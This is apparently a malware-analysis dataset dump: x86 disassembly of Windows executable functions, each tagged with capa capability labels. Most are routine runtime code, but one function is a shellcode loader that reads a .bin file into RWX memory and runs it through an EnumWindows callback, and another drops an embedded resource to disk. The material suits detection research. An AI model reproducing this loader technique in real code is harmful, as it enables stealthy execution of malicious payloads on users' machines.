joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46c7f7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x46c811
call fcn.0040a594
mov esi, dword [eax + 0xc]
push dword [0x574a40]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x46c82f
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x46c827
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x46c85c
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x46c829
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.0046c725
mov esi, eax
jmp 0x46c84e

Function at 0x4e70fa
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x4e7112
mov edi, dword [esi + 0xc]
jmp 0x4e7152
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4e712b
call fcn.0040690e
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x4e7140
call fcn.0040690e
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4e7152
call fcn.0040690e
call fcn.0040a594
cmp dword [eax + 0x3c], 0
je 0x4e7167
push edi
mov ecx, ebx
call fcn.004e5f36
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.004e7014
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x4e7185
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x7c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x4e7191
mov edi, eax
mov dword [ebx + 0x7c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x50197c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x56fc00]
jne 0x501986
repz ret
jmp fcn.0050d02c
Function at 0x514bf7
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x56fc00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0050bca5
and dword [ebp - 0x14], 0
cmp dword [0x577310], 0
mov dword [ebp - 0x18], eax
jne 0x514caa
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x514d52
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x514d52
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x54df68
push ebx
mov dword [0x577310], eax
call edi
push eax
call esi
push 0x54df54
push ebx
mov dword [0x577314], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x577318], eax
call edi
push eax
call esi
mov dword [0x577320], eax
test eax, eax
je 0x514caa
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x57731c], eax
mov eax, dword [0x57731c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x514d03
cmp dword [0x577320], ecx
je 0x514d03
push eax
call esi
push dword [0x577320]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x514d03
test ebx, ebx
je 0x514d03
call edi
test eax, eax
je 0x514cfa
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x514cfa
test byte [ebp - 8], 1
jne 0x514d03
or dword [ebp + 0x10], 0x200000
jmp 0x514d36
mov eax, dword [0x577314]
cmp eax, dword [ebp - 0x18]
je 0x514d36
push eax
call esi
test eax, eax
je 0x514d36
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x514d36
mov eax, dword [0x577318]
cmp eax, dword [ebp - 0x18]
je 0x514d36
push eax
call esi
test eax, eax
je 0x514d36
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x577310]
call esi
test eax, eax
je 0x514d52
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x514d54
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0050197c
leave
ret
Function at 0x518fb0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x54f958
push 0x54f95c
call fcn.00500537
add esp, 8
mov dword [ebp - 0xc], eax
push 0x54f978
push 0x82
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 4], 0
je 0x51902d
cmp dword [ebp - 8], 0
je 0x51902d
cmp dword [ebp - 0x10], 0
je 0x51902d
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push 1
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.005006a5
add esp, 0x10
mov edx, dword [ebp - 0xc]
push edx
call fcn.0050078c
add esp, 4
mov esp, ebp
pop ebp
ret

Function at 0x519040
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via windows callback function
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
mov dword [ebp - 0xf8], ecx
mov dword [ebp - 0x14], 8
mov dword [ebp - 0x10], 0xff
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, dword [ebp - 0xf8]
call fcn.00403ab7
push 0
call fcn.00404656
add esp, 4
call fcn.00518fb0
push 0x54f97c
push str.C:WINDOWS_system321.bin
call fcn.00500537
add esp, 8
mov dword [ebp - 8], eax
push 2
push 0
mov ecx, dword [ebp - 8]
push ecx
call fcn.005009c4
add esp, 0xc
mov edx, dword [ebp - 8]
push edx
call fcn.00500bd4
add esp, 4
mov dword [ebp - 0xdc], eax
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call fcn.005009c4
add esp, 0xc
mov ecx, dword [ebp - 0xdc]
push ecx
call fcn.00500c39
add esp, 4
mov dword [ebp - 0xe4], eax
mov edx, dword [ebp - 8]
push edx
push 1
mov eax, dword [ebp - 0xdc]
push eax
mov ecx, dword [ebp - 0xe4]
push ecx
call fcn.00500f17
add esp, 0x10
push 0x40
push 0x1000
mov edx, dword [ebp - 0xdc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xdc]
push eax
mov ecx, dword [ebp - 0xe4]
push ecx
mov edx, dword [ebp - 0xdc]
push edx
mov eax, dword [ebp - 4]
push eax
call fcn.00500428
add esp, 0x10
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_EnumWindows]
xor eax, eax
jmp 0x51922b
mov esp, ebp
pop ebp
ret
Function at 0x405a50
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 0x1c
mov eax, dword [ebp + 0x10]
mov dword [0x45abd0], ecx
mov dword [0x45abd8], eax
push ebx
push 0x45a100
push 0x405af0
push 0
push 0x65
push ecx
call fcn.00401340
add esp, 0x14
push dword [ebp + 0x14]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ebx, dword [sym.imp.USER32.dll_GetMessageA]
lea eax, [ebp - 0x1c]
push 0
push 0
push 0
push eax
call ebx
test eax, eax
je 0x405ace
push esi
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
push edi
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
nop dword [eax]
lea eax, [ebp - 0x1c]
push eax
call esi
lea eax, [ebp - 0x1c]
push eax
call edi
push 0
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
call ebx
test eax, eax
jne 0x405ab0
pop edi
pop esi
push 0
call fcn.004057a0
mov eax, dword [ebp - 0x14]
add esp, 4
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4061b0
Capabilities:
Create thread

Disassembly:
push esi
mov byte [0x45aba0], 1
call fcn.004059f0
cmp dword [section..data], 0
je 0x401162
push 0
push 0
push 0
push 0x4012e0
push 0x400
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00401070
test esi, esi
je 0x401243
call fcn.004010f0
call fcn.00401070
cmp byte [0x45aba0], 0
je 0x401226
mov eax, dword [0x45da88]
push ebx
push edi
nop dword [eax + eax]
mov ecx, dword [0x45da84]
not ecx
cmp eax, ecx
jne 0x401234
test eax, eax
je 0x4011fa
push eax
call fcn.00402760
movzx ebx, al
add esp, 4
mov edi, dword [ebx*4 + 0x45d9a0]
test edi, edi
je 0x401252
call fcn.004010f0
push edi
call fcn.00402840
movzx ecx, byte [edi + 0xc]
mov esi, eax
mov edx, dword [edi]
push ecx
push esi
push edi
mov ecx, dword [edx + 4]
call ecx
push esi
call fcn.00402cc0
add esp, 0x14
call fcn.00401070
cmp dword [edi + 0x10], 0
mov eax, dword [0x45da88]
jne 0x401217
lea ecx, [ebx - 1]
btr eax, ecx
mov ecx, eax
mov dword [0x45da88], eax
not ecx
mov dword [0x45da84], ecx
jmp 0x401217
call fcn.004010f0
push 0xffffffffffffffff
push dword [0x45da80]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call fcn.00401070
mov eax, dword [0x45da88]
cmp byte [0x45aba0], 0
jne 0x401180
pop edi
pop ebx
call fcn.004010f0
call fcn.004059c0
xor eax, eax
pop esi
ret
push 0x12c
push str.qf_port
call fcn.00405a00
push 0x136
push str.qf_port
call fcn.00405a00
push 0x140
push str.qf_port
call fcn.00405a00
int3
call fcn.004010a0
call fcn.00405640
push 8
push 0x45bbe0
call fcn.00403190
push 8
push 0x640
push 0x45bc20
call fcn.00402ef0
call fcn.00404990
push 0
push 0
push 0
push 0x64
push 0x45c260
push 1
push dword [0x4503b8]
call fcn.00401010
call fcn.004044b0
push 0
push 0
push 0
push 0x1e
push 0x45c3f0
push 2
push dword [0x4503a4]
call fcn.00401010
add esp, 0x4c
call fcn.004042a0
push 0
push 0
push 0
push 0x14
push 0x45c468
push 3
push dword [0x4503a0]
call fcn.00401010
add esp, 0x1c
jmp 0x401120
Function at 0x406eeb
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x406f2a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x406f2a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x406f2a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x406f2a
cmp dword [ecx + 0x74], 0xe
jbe 0x406f2a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x42d78b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42d7ca
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42d7ca
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42d7ca
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x42d7ca
cmp dword [ecx + 0x74], 0xe
jbe 0x42d7ca
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4359ca
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0043589e
Function at 0x4362d6
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x45a180]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x436321
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00436776
test al, al
jne 0x43631b
sub edx, 2
cmp edx, edi
jne 0x436301
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x436343
lea eax, [edi + 2]
cmp edx, eax
je 0x436343
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.00435f9d
add esp, 0x10
jmp 0x43643d
push esi
lea ecx, [ebp - 0x255]
call fcn.00436776
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x436386
push dword [ebp - 0x25c]
jmp 0x436333
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x4363c3
cmp word [ebp - 0x226], 0
je 0x4363e4
cmp word [ebp - 0x226], ax
jne 0x4363c3
cmp word [ebp - 0x224], 0
je 0x4363e4
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.00435f9d
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x436430
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x43639d
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x436418
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x43643d
push 0x4359ed
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00443970
add esp, 0x10
jmp 0x43640d
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040632f
leave
ret
Function at 0x437d46
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x437de3
push ebx
push esi
call fcn.00437d02
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00437c3f
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x437d90
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x437de2
push edi
push eax
call fcn.00432270
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x437db0
call fcn.00431d65
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x437de1
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00437c3f
add esp, 0x20
test eax, eax
jne 0x437dcf
push edi
call fcn.00431d65
jmp 0x437dd7
push ebx
call fcn.00431d65
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x437de6
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x437df7
pop esi
ret
push ebx
push edi
push esi
call fcn.00437d02
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00432270
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x437e1f
push ebx
push esi
push edi
call fcn.0040fcf0
add esp, 0xc
push 0
call fcn.00431d65
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x43870e
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00438094

Function at 0x43b9b7
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.0043502a
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x43ba26
cmp esi, dword [ebp - 4]
je 0x43ba21
cmp dword [ebp + 0xc], 0
je 0x43ba21
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x43b9fe
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.0043b509
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x43ba28
xor eax, eax
inc eax
jmp 0x43ba28
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x43ba8d
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x45a180]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.0043502a
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.0043502a
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x43bb04
cmp word [ecx], dx
je 0x43bb04
mov eax, dword [0x45312c]
push edi
dec eax
push eax
push 0x453018
call fcn.0043ba2c
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x43bb77
cmp word [eax], dx
je 0x43bb77
mov eax, dword [edi]
test eax, eax
je 0x43bb28
cmp word [eax], dx
je 0x43bb28
lea eax, [ebp - 0x10]
push eax
call fcn.0043b40f
jmp 0x43bb31
lea eax, [ebp - 0x10]
push eax
call fcn.0043b4aa
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x43bba1
mov eax, dword [0x453014]
push dword [ebp - 0x14]
dec eax
push eax
push 0x452d08
call fcn.0043ba2c
add esp, 0xc
test al, al
je 0x43bba1
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x43bb6c
cmp word [eax], di
je 0x43bb6c
lea eax, [ebp - 0x10]
push eax
call fcn.0043b40f
pop ecx
jmp 0x43bba3
lea eax, [ebp - 0x10]
push eax
call fcn.0043b4aa
jmp 0x43bb69
mov eax, dword [edi]
test eax, eax
je 0x43bb8e
cmp word [eax], dx
je 0x43bb8e
lea eax, [ebp - 0x10]
push eax
call fcn.0043b3a6
pop ecx
jmp 0x43bba1
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x43bc6c
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.0043b8b1
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x43bc6c
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x43bc6c
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x43bc6c
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x43bbf9
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.0043c97a
test ebx, ebx
je 0x43bc67
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.0043c97a
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x43bc6c
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x43bc6c
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.00444e33
add esp, 0x10
xor eax, eax
inc eax
jmp 0x43bc6e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040632f
leave
ret
Function at 0x43c5ec
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x454354
push 0x45434c
push str.FlsAlloc
push 0x1f
call fcn.0043c2ba
mov esi, eax
add esp, 0x10
test esi, esi
je 0x43c620
push dword [ebp + 8]
mov ecx, esi
call dword [0x4501e4]
call esi
jmp 0x43c626
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x43c66a
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x454364
push 0x45435c
push str.FlsGetValue
push 0x21
call fcn.0043c2ba
mov esi, eax
add esp, 0x10
test esi, esi
je 0x43c6a1
push dword [ebp + 8]
mov ecx, esi
call dword [0x4501e4]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x43c6a9
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x45436c
push 0x454364
push str.FlsSetValue
push 0x22
call fcn.0043c2ba
mov esi, eax
add esp, 0x10
test esi, esi
je 0x43c6e3
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x4501e4]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x44899c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x45d288]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4489dc
cmp byte [ebx], 0xa
jne 0x4489dc
or byte [edi + eax + 0x28], 4
jmp 0x4489e1
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x448ae0
mov dl, byte [eax]
cmp dl, 0x1a
je 0x448ac3
inc eax
cmp dl, 0xd
je 0x448a0d
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x448a33
cmp eax, ecx
jae 0x448a41
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x4489f5
jmp 0x448ae0
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x448abe
cmp dword [ebp - 0x10], 0
je 0x448abe
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x45d288]
test byte [eax + edi + 0x28], 0x48
je 0x448a98
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x448a83
mov byte [esi], dl
jmp 0x448a94
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x45d288]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x448ae0
cmp byte [ebp - 1], 0xa
jne 0x448aa7
cmp esi, ebx
jne 0x448aa7
mov byte [esi], 0xa
jmp 0x448adf
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00447e80
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x448ae0
mov byte [esi], 0xd
jmp 0x448adf
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x45d288]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x448add
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x448ae0
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret